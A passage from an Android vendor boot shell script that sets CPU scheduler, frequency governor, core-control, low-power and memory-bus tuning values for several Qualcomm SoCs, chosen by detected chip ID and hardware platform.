echo 80 > /proc/sys/kernel/sched_group_downmigrate
echo 90 > /proc/sys/kernel/sched_group_upmigrate
echo 1 > /proc/sys/kernel/sched_walt_rotate_big_tasks
# Enable min frequency adjustment for big cluster
if [ -f /sys/module/big_cluster_min_freq_adjust/parameters/min_freq_cluster ]; then
echo "4-7" > /sys/module/big_cluster_min_freq_adjust/parameters/min_freq_cluster
fi
echo 1 > /sys/module/big_cluster_min_freq_adjust/parameters/min_freq_adjust
;;
esac
;;
esac
case "$target" in
"msm8937")
if [ -f /sys/devices/soc0/soc_id ]; then
soc_id=`cat /sys/devices/soc0/soc_id`
else
soc_id=`cat /sys/devices/system/soc/soc0/id`
fi
if [ -f /sys/devices/soc0/hw_platform ]; then
hw_platform=`cat /sys/devices/soc0/hw_platform`
else
hw_platform=`cat /sys/devices/system/soc/soc0/hw_platform`
fi
if [ -f /sys/devices/soc0/platform_subtype_id ]; then
platform_subtype_id=`cat /sys/devices/soc0/platform_subtype_id`
fi
# Socid 386 = Pukeena
case "$soc_id" in
"303" | "307" | "308" | "309" | "320" | "386" | "436")
# Start Host based Touch processing
case "$hw_platform" in
"MTP" )
start_hbtp
;;
esac
case "$hw_platform" in
"Surf" | "RCM" )
if [ $platform_subtype_id -ne "4" ]; then
start_hbtp
fi
;;
esac
# Apply Scheduler and Governor settings for 8917 / 8920
echo 20000000 > /proc/sys/kernel/sched_ravg_window
#disable sched_boost in 8917
echo 0 > /proc/sys/kernel/sched_boost
# core_ctl is not needed for 8917. Disable it.
disable_core_ctl
for devfreq_gov in /sys/class/devfreq/qcom,mincpubw*/governor
do
echo "cpufreq" > $devfreq_gov
done
for devfreq_gov in /sys/class/devfreq/soc:qcom,cpubw/governor
do
echo "bw_hwmon" > $devfreq_gov
for cpu_io_percent in /sys/class/devfreq/soc:qcom,cpubw/bw_hwmon/io_percent
do
echo 20 > $cpu_io_percent
done
for cpu_guard_band in /sys/class/devfreq/soc:qcom,cpubw/bw_hwmon/guard_band_mbps
do
echo 30 > $cpu_guard_band
done
done
for gpu_bimc_io_percent in /sys/class/devfreq/soc:qcom,gpubw/bw_hwmon/io_percent
do
echo 40 > $gpu_bimc_io_percent
done
# disable thermal core_control to update interactive gov settings
echo 0 > /sys/module/msm_thermal/core_control/enabled
KernelVersionStr=`cat /proc/sys/kernel/osrelease`
KernelVersionS=${KernelVersionStr:2:2}
KernelVersionA=${KernelVersionStr:0:1}
KernelVersionB=${KernelVersionS%.*}
if [ $KernelVersionA -ge 4 ] && [ $KernelVersionB -ge 9 ]; then
8917_sched_dcvs_eas
else
8917_sched_dcvs_hmp
fi
echo 960000 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
# re-enable thermal core_control now
echo 1 > /sys/module/msm_thermal/core_control/enabled
# Disable L2-GDHS low power modes
echo N > /sys/module/lpm_levels/perf/perf-l2-gdhs/idle_enabled
echo N > /sys/module/lpm_levels/perf/perf-l2-gdhs/suspend_enabled
# Bring up all cores online
echo 1 > /sys/devices/system/cpu/cpu1/online
echo 1 > /sys/devices/system/cpu/cpu2/online
echo 1 > /sys/devices/system/cpu/cpu3/online
# Enable low power modes
echo 0 > /sys/module/lpm_levels/parameters/sleep_disabled
# Set rps mask
echo 2 > /sys/class/net/rmnet0/queues/rx-0/rps_cpus
# Enable dynamic clock gating
echo 1 > /sys/module/lpm_levels/lpm_workarounds/dynamic_clock_gating
# Enable timer migration to little cluster
echo 1 > /proc/sys/kernel/power_aware_timer_migration
# Set Memory parameters
configure_memory_parameters
;;
*)
;;
esac
case "$soc_id" in
"294" | "295" | "313" )
# Start Host based Touch processing
case "$hw_platform" in
"MTP" | "Surf" | "RCM" )
start_hbtp
;;
esac
# Apply Scheduler and Governor settings for 8937/8940
# HMP scheduler settings
echo 3 > /proc/sys/kernel/sched_window_stats_policy
echo 3 > /proc/sys/kernel/sched_ravg_hist_size
echo 20000000 > /proc/sys/kernel/sched_ravg_window
#disable sched_boost in 8937
echo 0 > /proc/sys/kernel/sched_boost
for devfreq_gov in /sys/class/devfreq/qcom,mincpubw*/governor
do
echo "cpufreq" > $devfreq_gov
done
for devfreq_gov in /sys/class/devfreq/soc:qcom,cpubw/governor
do
echo "bw_hwmon" > $devfreq_gov
for cpu_io_percent in /sys/class/devfreq/soc:qcom,cpubw/bw_hwmon/io_percent
do
echo 20 > $cpu_io_percent
done
for cpu_guard_band in /sys/class/devfreq/soc:qcom,cpubw/bw_hwmon/guard_band_mbps
do
echo 30 > $cpu_guard_band
done
done
for gpu_bimc_io_percent in /sys/class/devfreq/soc:qcom,gpubw/bw_hwmon/io_percent
do
echo 40 > $gpu_bimc_io_percent
done
# disable thermal core_control to update interactive gov and core_ctl settings
echo 0 > /sys/module/msm_thermal/core_control/enabled
KernelVersionStr=`cat /proc/sys/kernel/osrelease`
KernelVersionS=${KernelVersionStr:2:2}
KernelVersionA=${KernelVersionStr:0:1}
KernelVersionB=${KernelVersionS%.*}
if [ $KernelVersionA -ge 4 ] && [ $KernelVersionB -ge 9 ]; then
8937_sched_dcvs_eas
else
8937_sched_dcvs_hmp
fi
echo 960000 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
echo 768000 > /sys/devices/system/cpu/cpu4/cpufreq/scaling_min_freq
# Disable L2-GDHS low power modes
echo N > /sys/module/lpm_levels/system/pwr/pwr-l2-gdhs/idle_enabled
echo N > /sys/module/lpm_levels/system/pwr/pwr-l2-gdhs/suspend_enabled
echo N > /sys/module/lpm_levels/system/perf/perf-l2-gdhs/idle_enabled
echo N > /sys/module/lpm_levels/system/perf/perf-l2-gdhs/suspend_enabled
# Bring up all cores online
echo 1 > /sys/devices/system/cpu/cpu1/online
echo 1 > /sys/devices/system/cpu/cpu2/online
echo 1 > /sys/devices/system/cpu/cpu3/online
echo 1 > /sys/devices/system/cpu/cpu4/online
echo 1 > /sys/devices/system/cpu/cpu5/online
echo 1 > /sys/devices/system/cpu/cpu6/online
echo 1 > /sys/devices/system/cpu/cpu7/online
# Enable low power modes
echo 0 > /sys/module/lpm_levels/parameters/sleep_disabled
# HMP scheduler (big.Little cluster related) settings
echo 98 > /proc/sys/kernel/sched_upmigrate
echo 85 > /proc/sys/kernel/sched_downmigrate
echo 20 > /proc/sys/kernel/sched_small_task
echo 20 > /proc/sys/kernel/sched_spill_nr_run
echo 5 > /proc/sys/kernel/sched_init_task_load
echo 1 > /proc/sys/kernel/sched_restrict_tasks_spread
echo 1 > /proc/sys/kernel/sched_wake_to_idle
# re-enable thermal core_control
echo 1 > /sys/module/msm_thermal/core_control/enabled
# Enable dynamic clock gating
echo 1 > /sys/module/lpm_levels/lpm_workarounds/dynamic_clock_gating
# Enable timer migration to little cluster
echo 1 > /proc/sys/kernel/power_aware_timer_migration
# Set Memory parameters
configure_memory_parameters
;;
*)
;;
esac
case "$soc_id" in
"354" | "364" | "353" | "363" )
# Start Host based Touch processing
case "$hw_platform" in
"MTP" | "Surf" | "RCM" | "QRD" )
start_hbtp
;;
esac
# Apply settings for sdm429/sda429/sdm439/sda439
for cpubw in /sys/class/devfreq/*qcom,mincpubw*
do
echo "cpufreq" > $cpubw/governor
done
for cpubw in /sys/class/devfreq/*qcom,cpubw*
do
echo "bw_hwmon" > $cpubw/governor
echo 20 > $cpubw/bw_hwmon/io_percent
echo 30 > $cpubw/bw_hwmon/guard_band_mbps
done
for gpu_bimc_io_percent in /sys/class/devfreq/soc:qcom,gpubw/bw_hwmon/io_percent
do
echo 40 > $gpu_bimc_io_percent
done
case "$soc_id" in
"353" | "363" )
# Apply settings for sdm439/sda439
# configure schedutil governor settings
# enable governor for perf cluster
echo 1 > /sys/devices/system/cpu/cpu0/online
echo "schedutil" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
echo 0 > /sys/devices/system/cpu/cpu0/cpufreq/schedutil/rate_limit_us
#set the hispeed_freq
echo 1497600 > /sys/devices/system/cpu/cpu0/cpufreq/schedutil/hispeed_freq
echo 80 > /sys/devices/system/cpu/cpu0/cpufreq/schedutil/hispeed_load
echo 960000 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
# sched_load_boost as -6 is equivalent to target load as 85.
echo -6 > /sys/devices/system/cpu/cpu0/sched_load_boost
echo -6 > /sys/devices/system/cpu/cpu1/sched_load_boost
echo -6 > /sys/devices/system/cpu/cpu2/sched_load_boost
echo -6 > /sys/devices/system/cpu/cpu3/sched_load_boost
## enable governor for power cluster
echo 1 > /sys/devices/system/cpu/cpu4/online
echo "schedutil" > /sys/devices/system/cpu/cpu4/cpufreq/scaling_governor
echo 0 > /sys/devices/system/cpu/cpu4/cpufreq/schedutil/rate_limit_us
#set the hispeed_freq
echo 998400 > /sys/devices/system/cpu/cpu4/cpufreq/schedutil/hispeed_freq
echo 85 > /sys/devices/system/cpu/cpu4/cpufreq/schedutil/hispeed_load
echo 768000 > /sys/devices/system/cpu/cpu4/cpufreq/scaling_min_freq
# sched_load_boost as -6 is equivalent to target load as 85.
echo -6 > /sys/devices/system/cpu/cpu4/sched_load_boost
echo -6 > /sys/devices/system/cpu/cpu5/sched_load_boost
echo -6 > /sys/devices/system/cpu/cpu6/sched_load_boost
echo -6 > /sys/devices/system/cpu/cpu7/sched_load_boost
# EAS scheduler (big.Little cluster related) settings
echo 93 > /proc/sys/kernel/sched_upmigrate
echo 83 > /proc/sys/kernel/sched_downmigrate
echo 140 > /proc/sys/kernel/sched_group_upmigrate
echo 120 > /proc/sys/kernel/sched_group_downmigrate
# cpuset settings
#echo 0-3 > /dev/cpuset/background/cpus
#echo 0-3 > /dev/cpuset/system-background/cpus
# Bring up all cores online
echo 1 > /sys/devices/system/cpu/cpu1/online
echo 1 > /sys/devices/system/cpu/cpu2/online
echo 1 > /sys/devices/system/cpu/cpu3/online
echo 1 > /sys/devices/system/cpu/cpu4/online
echo 1 > /sys/devices/system/cpu/cpu5/online
echo 1 > /sys/devices/system/cpu/cpu6/online
echo 1 > /sys/devices/system/cpu/cpu7/online
# Enable core control
echo 2 > /sys/devices/system/cpu/cpu0/core_ctl/min_cpus
echo 4 > /sys/devices/system/cpu/cpu0/core_ctl/max_cpus
echo 68 > /sys/devices/system/cpu/cpu0/core_ctl/busy_up_thres
echo 40 > /sys/devices/system/cpu/cpu0/core_ctl/busy_down_thres
echo 100 > /sys/devices/system/cpu/cpu0/core_ctl/offline_delay_ms
echo 1 > /sys/devices/system/cpu/cpu0/core_ctl/is_big_cluster
echo 4 > /sys/devices/system/cpu/cpu0/core_ctl/task_thres
# Big cluster min frequency adjust settings
if [ -f /sys/module/big_cluster_min_freq_adjust/parameters/min_freq_cluster ]; then
echo "0-3" > /sys/module/big_cluster_min_freq_adjust/parameters/min_freq_cluster
fi
echo 1305600 > /sys/module/big_cluster_min_freq_adjust/parameters/min_freq_floor
;;
*)
# Apply settings for sdm429/sda429
# configure schedutil governor settings
echo 1 > /sys/devices/system/cpu/cpu0/online
echo "schedutil" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
echo 0 > /sys/devices/system/cpu/cpu0/cpufreq/schedutil/rate_limit_us
#set the hispeed_freq
echo 1305600 > /sys/devices/system/cpu/cpu0/cpufreq/schedutil/hispeed_freq
echo 80 > /sys/devices/system/cpu/cpu0/cpufreq/schedutil/hispeed_load
echo 960000 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
# sched_load_boost as -6 is equivalent to target load as 85.
echo -6 > /sys/devices/system/cpu/cpu0/sched_load_boost
echo -6 > /sys/devices/system/cpu/cpu1/sched_load_boost
echo -6 > /sys/devices/system/cpu/cpu2/sched_load_boost
echo -6 > /sys/devices/system/cpu/cpu3/sched_load_boost
# Bring up all cores online
echo 1 > /sys/devices/system/cpu/cpu1/online
echo 1 > /sys/devices/system/cpu/cpu2/online
echo 1 > /sys/devices/system/cpu/cpu3/online
;;
esac
# Set Memory parameters
configure_memory_parameters
#disable sched_boost
echo 0 > /proc/sys/kernel/sched_boost
# Disable L2-GDHS low power modes
echo N > /sys/module/lpm_levels/system/pwr/pwr-l2-gdhs/idle_enabled
echo N > /sys/module/lpm_levels/system/pwr/pwr-l2-gdhs/suspend_enabled
echo N > /sys/module/lpm_levels/system/perf/perf-l2-gdhs/idle_enabled
echo N > /sys/module/lpm_levels/system/perf/perf-l2-gdhs/suspend_enabled
# Enable low power modes
echo 0 > /sys/module/lpm_levels/parameters/sleep_disabled
case "$soc_id" in
"353" | "363" )
echo 1 > /sys/module/big_cluster_min_freq_adjust/parameters/min_freq_adjust
;;
esac
;;
esac
case "$soc_id" in
"386" | "436")
# Start Host based Touch processing
case "$hw_platform" in
"QRD" )
start_hbtp
;;
esac
;;
esac
;;
esac
case "$target" in
"sdm660")
# Set the default IRQ affinity to the primary cluster. When a
# CPU is isolated/hotplugged, the IRQ affinity is adjusted
# to one of the CPU from the default IRQ affinity mask.
echo f > /proc/irq/default_smp_affinity
if [ -f /sys/devices/soc0/soc_id ]; then
soc_id=`cat /sys/devices/soc0/soc_id`
else
soc_id=`cat /sys/devices/system/soc/soc0/id`
fi
if [ -f /sys/devices/soc0/hw_platform ]; then
hw_platform=`cat /sys/devices/soc0/hw_platform`
else
hw_platform=`cat /sys/devices/system/soc/soc0/hw_platform`
fi
panel=`cat /sys/class/graphics/fb0/modes`
if [ "${panel:5:1}" == "x" ]; then
panel=${panel:2:3}
else
panel=${panel:2:4}
fi
if [ $panel -gt 1080 ]; then
echo 2 > /proc/sys/kernel/sched_window_stats_policy
echo 5 > /proc/sys/kernel/sched_ravg_hist_size
else
echo 3 > /proc/sys/kernel/sched_window_stats_policy
echo 3 > /proc/sys/kernel/sched_ravg_hist_size
fi
#Apply settings for sdm660, sdm636,sda636
case "$soc_id" in
"317" | "324" | "325" | "326" | "345" | "346" )
echo 2 > /sys/devices/system/cpu/cpu4/core_ctl/min_cpus
echo 60 > /sys/devices/system/cpu/cpu4/core_ctl/busy_up_thres
echo 30 > /sys/devices/system/cpu/cpu4/core_ctl/busy_down_thres
echo 100 > /sys/devices/system/cpu/cpu4/core_ctl/offline_delay_ms
echo 1 > /sys/devices/system/cpu/cpu4/core_ctl/is_big_cluster
echo 4 > /sys/devices/system/cpu/cpu4/core_ctl/task_thres
# Setting b.L scheduler parameters
echo 96 > /proc/sys/kernel/sched_upmigrate
echo 90 > /proc/sys/kernel/sched_downmigrate
echo 140 > /proc/sys/kernel/sched_group_upmigrate
echo 120 > /proc/sys/kernel/sched_group_downmigrate
echo 0 > /proc/sys/kernel/sched_select_prev_cpu_us
echo 400000 > /proc/sys/kernel/sched_freq_inc_notify
echo 400000 > /proc/sys/kernel/sched_freq_dec_notify
echo 5 > /proc/sys/kernel/sched_spill_nr_run
echo 1 > /proc/sys/kernel/sched_restrict_cluster_spill
echo 100000 > /proc/sys/kernel/sched_short_burst_ns
echo 1 > /proc/sys/kernel/sched_prefer_sync_wakee_to_waker
echo 20 > /proc/sys/kernel/sched_small_wakee_task_load
# cpuset settings
echo 0-3 > /dev/cpuset/background/cpus
echo 0-3 > /dev/cpuset/system-background/cpus
# disable thermal bcl hotplug to switch governor
echo 0 > /sys/module/msm_thermal/core_control/enabled
# online CPU0
echo 1 > /sys/devices/system/cpu/cpu0/online
# configure governor settings for little cluster
echo "interactive" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
echo 1 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/use_sched_load
echo 1 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/use_migration_notif
echo "19000 1401600:39000" > /sys/devices/system/cpu/cpu0/cpufreq/interactive/above_hispeed_delay
echo 90 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/go_hispeed_load
echo 20000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/timer_rate
echo 1401600 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/hispeed_freq
echo 0 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/io_is_busy
echo "85 1747200:95" > /sys/devices/system/cpu/cpu0/cpufreq/interactive/target_loads
echo 39000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/min_sample_time
echo 0 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/max_freq_hysteresis
echo 633600 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
echo 1 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/ignore_hispeed_on_notif
echo 1 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/fast_ramp_down
# online CPU4
echo 1 > /sys/devices/system/cpu/cpu4/online
# configure governor settings for big cluster
echo "interactive" > /sys/devices/system/cpu/cpu4/cpufreq/scaling_governor
echo 1 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/use_sched_load
echo 1 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/use_migration_notif
echo "19000 1401600:39000" > /sys/devices/system/cpu/cpu4/cpufreq/interactive/above_hispeed_delay
echo 90 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/go_hispeed_load
echo 20000 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/timer_rate
echo 1401600 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/hispeed_freq
echo 0 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/io_is_busy
echo "85 1401600:90 2150400:95" > /sys/devices/system/cpu/cpu4/cpufreq/interactive/target_loads
echo 39000 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/min_sample_time
echo 59000 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/max_freq_hysteresis
echo 1113600 > /sys/devices/system/cpu/cpu4/cpufreq/scaling_min_freq
echo 1 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/ignore_hispeed_on_notif
echo 1 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/fast_ramp_down
# bring all cores online
echo 1 > /sys/devices/system/cpu/cpu0/online
echo 1 > /sys/devices/system/cpu/cpu1/online
echo 1 > /sys/devices/system/cpu/cpu2/online
echo 1 > /sys/devices/system/cpu/cpu3/online
echo 1 > /sys/devices/system/cpu/cpu4/online
echo 1 > /sys/devices/system/cpu/cpu5/online
echo 1 > /sys/devices/system/cpu/cpu6/online
echo 1 > /sys/devices/system/cpu/cpu7/online
# configure LPM
echo N > /sys/module/lpm_levels/system/pwr/cpu0/ret/idle_enabled
echo N > /sys/module/lpm_levels/system/pwr/cpu1/ret/idle_enabled
echo N > /sys/module/lpm_levels/system/pwr/cpu2/ret/idle_enabled
echo N > /sys/module/lpm_levels/system/pwr/cpu3/ret/idle_enabled
echo N > /sys/module/lpm_levels/system/perf/cpu4/ret/idle_enabled
echo N > /sys/module/lpm_levels/system/perf/cpu5/ret/idle_enabled
echo N > /sys/module/lpm_levels/system/perf/cpu6/ret/idle_enabled
echo N > /sys/module/lpm_levels/system/perf/cpu7/ret/idle_enabled
echo N > /sys/module/lpm_levels/system/pwr/pwr-l2-dynret/idle_enabled
echo N > /sys/module/lpm_levels/system/perf/perf-l2-dynret/idle_enabled
echo N > /sys/module/lpm_levels/system/pwr/pwr-l2-ret/idle_enabled
echo N > /sys/module/lpm_levels/system/perf/perf-l2-ret/idle_enabled
# enable LPM
echo 0 > /sys/module/lpm_levels/parameters/sleep_disabled
# re-enable thermal and BCL hotplug
echo 1 > /sys/module/msm_thermal/core_control/enabled
# Set Memory parameters
configure_memory_parameters
# Enable bus-dcvs
for cpubw in /sys/class/devfreq/*qcom,cpubw*
do
echo "bw_hwmon" > $cpubw/governor
echo 50 > $cpubw/polling_interval
echo 762 > $cpubw/min_freq
echo "1525 3143 5859 7759 9887 10327 11863 13763" > $cpubw/bw_hwmon/mbps_zones
echo 4 > $cpubw/bw_hwmon/sample_ms
echo 85 > $cpubw/bw_hwmon/io_percent
echo 100 > $cpubw/bw_hwmon/decay_rate
echo 50 > $cpubw/bw_hwmon/bw_step
echo 20 > $cpubw/bw_hwmon/hist_memory
echo 0 > $cpubw/bw_hwmon/hyst_length
echo 80 > $cpubw/bw_hwmon/down_thres
echo 0 > $cpubw/bw_hwmon/low_power_ceil_mbps
echo 34 > $cpubw/bw_hwmon/low_power_io_percent
echo 20 > $cpubw/bw_hwmon/low_power_delay
echo 0 > $cpubw/bw_hwmon/guard_band_mbps
echo 250 > $cpubw/bw_hwmon/up_scale
echo 1600 > $cpubw/bw_hwmon/idle_mbps
done
for memlat in /sys/class/devfreq/*qcom,memlat-cpu*
do
echo "mem_latency" > $memlat/governor
echo 10 > $memlat/polling_interval
echo 400 > $memlat/mem_latency/ratio_ceil
done
echo "cpufreq" > /sys/class/devfreq/soc:qcom,mincpubw/governor
# Start cdsprpcd only for sdm660 and disable for sdm630
start vendor.cdsprpcd
# Start Host based Touch processing
case "$hw_platform" in
"MTP" | "Surf" | "RCM" | "QRD" )
start_hbtp
;;
esac
;;
esac
#Apply settings for sdm630 and Tahaa
case "$soc_id" in
"318" | "327" | "385" )
# Start Host based Touch processing
case "$hw_platform" in
"MTP" | "Surf" | "RCM" | "QRD" )
start_hbtp
;;
esac
# Setting b.L scheduler parameters
echo 85 > /proc/sys/kernel/sched_upmigrate
echo 85 > /proc/sys/kernel/sched_downmigrate
echo 900 > /proc/sys/kernel/sched_group_upmigrate
echo 900 > /proc/sys/kernel/sched_group_downmigrate
echo 0 > /proc/sys/kernel/sched_select_prev_cpu_us
echo 400000 > /proc/sys/kernel/sched_freq_inc_notify
echo 400000 > /proc/sys/kernel/sched_freq_dec_notify
echo 3 > /proc/sys/kernel/sched_spill_nr_run
#init task load, restrict wakeups to preferred cluster
echo 15 > /proc/sys/kernel/sched_init_task_load
echo 1 > /proc/sys/kernel/sched_restrict_cluster_spill
echo 50000 > /proc/sys/kernel/sched_short_burst_ns
# cpuset settings
echo 0-3 > /dev/cpuset/background/cpus
echo 0-3 > /dev/cpuset/system-background/cpus
# disable thermal bcl hotplug to switch governor
echo 0 > /sys/module/msm_thermal/core_control/enabled
for mode in /sys/devices/soc.0/qcom,bcl.*/mode
do
echo -n disable > $mode
done
for hotplug_mask in /sys/devices/soc.0/qcom,bcl.*/hotplug_mask
do
bcl_hotplug_mask=`cat $hotplug_mask`
echo 0 > $hotplug_mask
done
for hotplug_soc_mask in /sys/devices/soc.0/qcom,bcl.*/hotplug_soc_mask
do
bcl_soc_hotplug_mask=`cat $hotplug_soc_mask`
echo 0 > $hotplug_soc_mask
done
for mode in /sys/devices/soc.0/qcom,bcl.*/mode
do
echo -n enable > $mode
done
# online CPU0
echo 1 > /sys/devices/system/cpu/cpu0/online
# configure governor settings for Big cluster(CPU0 to CPU3)
echo "interactive" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
echo 1 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/use_sched_load
echo 1 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/use_migration_notif
echo "19000 1344000:39000" > /sys/devices/system/cpu/cpu0/cpufreq/interactive/above_hispeed_delay
echo 85 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/go_hispeed_load
echo 20000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/timer_rate
echo 1344000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/hispeed_freq
echo 0 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/io_is_busy
echo "85 1344000:80" > /sys/devices/system/cpu/cpu0/cpufreq/interactive/target_loads
echo 39000 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/min_sample_time
echo 0 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/max_freq_hysteresis
echo 787200 > /sys/devices/system/cpu/cpu0/cpufreq/scaling_min_freq
echo 0 > /sys/devices/system/cpu/cpu0/cpufreq/interactive/ignore_hispeed_on_notif
# online CPU4
echo 1 > /sys/devices/system/cpu/cpu4/online
# configure governor settings for Little cluster(CPU4 to CPU7)
echo "interactive" > /sys/devices/system/cpu/cpu4/cpufreq/scaling_governor
echo 1 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/use_sched_load
echo 1 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/use_migration_notif
echo "19000 1094400:39000" > /sys/devices/system/cpu/cpu4/cpufreq/interactive/above_hispeed_delay
echo 85 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/go_hispeed_load
echo 20000 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/timer_rate
echo 1094400 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/hispeed_freq
echo 0 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/io_is_busy
echo "85 1094400:80" > /sys/devices/system/cpu/cpu4/cpufreq/interactive/target_loads
echo 39000 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/min_sample_time
echo 0 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/max_freq_hysteresis
echo 614400 > /sys/devices/system/cpu/cpu4/cpufreq/scaling_min_freq
echo 0 > /sys/devices/system/cpu/cpu4/cpufreq/interactive/ignore_hispeed_on_notif
# bring all cores online
echo 1 > /sys/devices/system/cpu/cpu0/online
echo 1 > /sys/devices/system/cpu/cpu1/online
echo 1 > /sys/devices/system/cpu/cpu2/online
echo 1 > /sys/devices/system/cpu/cpu3/online
echo 1 > /sys/devices/system/cpu/cpu4/online
echo 1 > /sys/devices/system/cpu/cpu5/online
echo 1 > /sys/devices/system/cpu/cpu6/online
echo 1 > /sys/devices/system/cpu/cpu7/online
# configure LPM
echo N > /sys/module/lpm_levels/system/perf/cpu0/ret/idle_enabled
echo N > /sys/module/lpm_levels/system/perf/cpu1/ret/idle_enabled
echo N > /sys/module/lpm_levels/system/perf/cpu2/ret/idle_enabled
echo N > /sys/module/lpm_levels/system/perf/cpu3/ret/idle_enabled
echo N > /sys/module/lpm_levels/system/pwr/cpu4/ret/idle_enabled
echo N > /sys/module/lpm_levels/system/pwr/cpu5/ret/idle_enabled
echo N > /sys/module/lpm_levels/system/pwr/cpu6/ret/idle_enabled
echo N > /sys/module/lpm_levels/system/pwr/cpu7/ret/idle_enabled
echo N > /sys/module/lpm_levels/system/pwr/pwr-l2-dynret/idle_enabled
echo N > /sys/module/lpm_levels/system/perf/perf-l2-dynret/idle_enabled
# enable LPM
echo 0 > /sys/module/lpm_levels/parameters/sleep_disabled
# re-enable thermal and BCL hotplug
echo 1 > /sys/module/msm_thermal/core_control/enabled
for mode in /sys/devices/soc.0/qcom,bcl.*/mode
do
echo -n disable > $mode
done
for hotplug_mask in /sys/devices/soc.0/qcom,bcl.*/hotplug_mask
do
echo $bcl_hotplug_mask > $hotplug_mask
done
for hotplug_soc_mask in /sys/devices/soc.0/qcom,bcl.*/hotplug_soc_mask
do
echo $bcl_soc_hotplug_mask > $hotplug_soc_mask
done
for mode in /sys/devices/soc.0/qcom,bcl.*/mode
do
echo -n enable > $mode
done
# Set Memory parameters
configure_memory_parameters
# Enable bus-dcvs
for cpubw in /sys/class/devfreq/*qcom,cpubw*
do
echo "bw_hwmon" > $cpubw/governor
echo 50 > $cpubw/polling_interval
echo 762 > $cpubw/min_freq
echo "1525 3143 4173 5195 5859 7759 9887 10327" > $cpubw/bw_hwmon/mbps_zones
echo 4 > $cpubw/bw_hwmon/sample_ms
echo 85 > $cpubw/bw_hwmon/io_percent
echo 20 > $cpubw/bw_hwmon/hist_memory
echo 0 > $cpubw/bw_hwmon/hyst_length
echo 100 > $cpubw/bw_hwmon/decay_rate
echo 50 > $cpubw/bw_hwmon/bw_step
echo 80 > $cpubw/bw_hwmon/down_thres
echo 0 > $cpubw/bw_hwmon/low_power_ceil_mbps
echo 50 > $cpubw/bw_hwmon/low_power_io_percent
echo 20 > $cpubw/bw_hwmon/low_power_delay
echo 0 > $cpubw/bw_hwmon/guard_band_mbps
echo 250 > $cpubw/bw_hwmon/up_scale
echo 1600 > $cpubw/bw_hwmon/idle_mbps
done
for memlat in /sys/class/devfreq/*qcom,memlat-cpu*
do
echo "mem_latency" > $memlat/governor
echo 10 > $memlat/polling_interval
echo 400 > $memlat/mem_latency/ratio_ceil
done
echo "cpufreq" > /sys/class/devfreq/soc:qcom,mincpubw/governor
;;
esac
;;
esac
case "$target" in
"sdm710")
#Apply settings for sdm710
# Set the default IRQ affinity to the silver cluster. When a
# CPU is isolated/hotplugged, the IRQ affinity is adjusted
# to one of the CPU from the default IRQ affinity mask.
echo 3f > /proc/irq/default_smp_affinity
if [ -f /sys/devices/soc0/soc_id ]; then
soc_id=`cat /sys/devices/soc0/soc_id`
else
soc_id=`cat /sys/devices/system/soc/soc0/id`
fi
if [ -f /sys/devices/soc0/hw_platform ]; then
hw_platform=`cat /sys/devices/soc0/hw_platform`
else
hw_platform=`cat /sys/devices/system/soc/soc0/hw_platform`
fi
case "$soc_id" in
"336" | "337" | "347" | "360" | "393" )
# Start Host based Touch processing
case "$hw_platform" in
"MTP" | "Surf" | "RCM" | "QRD" )
start_hbtp
;;
esac
# Core control parameters on silver
echo 0 0 0 0 1 1 > /sys/devices/system/cpu/cpu0/core_ctl/not_preferred
echo 4 > /sys/devices/system/cpu/cpu0/core_ctl/min_cpus
echo 60 > /sys/devices/system/cpu/cpu0/core_ctl/busy_up_thres
echo 40 > /sys/devices/system/cpu/cpu0/core_ctl/busy_down_thres
echo 100 > /sys/devices/system/cpu/cpu0/core_ctl/offline_delay_ms
echo 0 > /sys/devices/system/cpu/cpu0/core_ctl/is_big_cluster
echo 8 > /sys/devices/system/cpu/cpu0/core_ctl/task_thres
# Setting b.L scheduler parameters
echo 96 > /proc/sys/kernel/sched_upmigrate
echo 90 > /proc/sys/kernel/sched_downmigrate
echo 140 > /proc/sys/kernel/sched_group_upmigrate
echo 120 > /proc/sys/kernel/sched_group_downmigrate
echo 1 > /proc/sys/kernel/sched_walt_rotate_big_tasks
# configure governor settings for little cluster
echo "schedutil" > /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
